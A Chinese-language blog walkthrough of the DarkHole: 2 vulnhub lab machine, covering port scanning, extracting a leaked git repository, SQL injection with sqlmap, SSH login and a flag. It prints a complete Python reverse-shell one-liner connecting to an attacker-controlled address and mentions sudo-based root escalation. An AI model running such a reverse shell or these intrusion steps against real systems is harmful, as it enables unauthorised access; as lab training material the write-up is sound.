当前位置:网站首页>DarkHole: 2 vulnhub walkthrough
DarkHole: 2 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
下载地址:
https://www.vulnhub.com/entry/darkhole-2,740/
主机和端口发现:
* ~ nmap -sn 192.168.143.0/24
Host is up (0.00010s latency).
Nmap scan report for 192.168.143.206
* ~ nmap -T4 -v -p- 192.168.143.206
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web服务,有一个登录页面:

尝试注入失败,于是dirb爆破一下目录:

发现了git目录,于是使用git_extract提取目标代码,首先查看login.php。
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
if($_POST['email'] == "[email protected]" && $_POST['password'] == "321"){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
获取用户名和密码后登录,发现一处注入点。

直接使用sqlmap进行自动化注入,需要注意的是需要cookie,在ssh表中得到了用户名和密码:
+--------+------+
| user | pass |
+--------+------+
| jehad | fool |
+--------+------+
ssh登录,进入/home/losy,获取到用户flag。
[email protected]:/home/losy$ cat user.txt
DarkHole{
'This_is_the_life_man_better_than_a_cruise'}
查看进程,发现一个进程。

查看后是本地写了一个一句话shell,利用它反弹一个用户losy的shell,这里使用python反弹shell。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.135",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
进行url编码后作为cmd输入,成功切换到用户losy。

查看.bash_history,获取losy用户密码gang。

查看sudo,发现可以运行python3,成功获取root。

边栏推荐
猜你喜欢
随机推荐
16. JS events, string and operator
Thread Pool (Introduction and Use of Thread Pool)
IP access control: teach you how to implement an IP firewall with PHP
(7) 浅学 “爬虫” 过程 (概念+练习)
1.初识PHP
[symfony/mailer] An elegant and easy-to-use mail library
vim编辑模式
3.PHP数据类型、常量、字符串和运算符
[symfony/mailer]一个优雅易用的发送邮件类库
14. JS Statements and Comments, Variables and Data Types
ES6三点运算符、数组方法、字符串扩展方法
IO streams, byte stream and byte stream buffer
每日五道面试题总结 22/7/19
每日五道面试题总结 22/7/21
[campo/random-user-agent]随机伪造你的User-Agent
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
About the apache .htaccess file of tp
(2)Thinkphp6模板引擎**标签
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
4. PHP array and array sorting








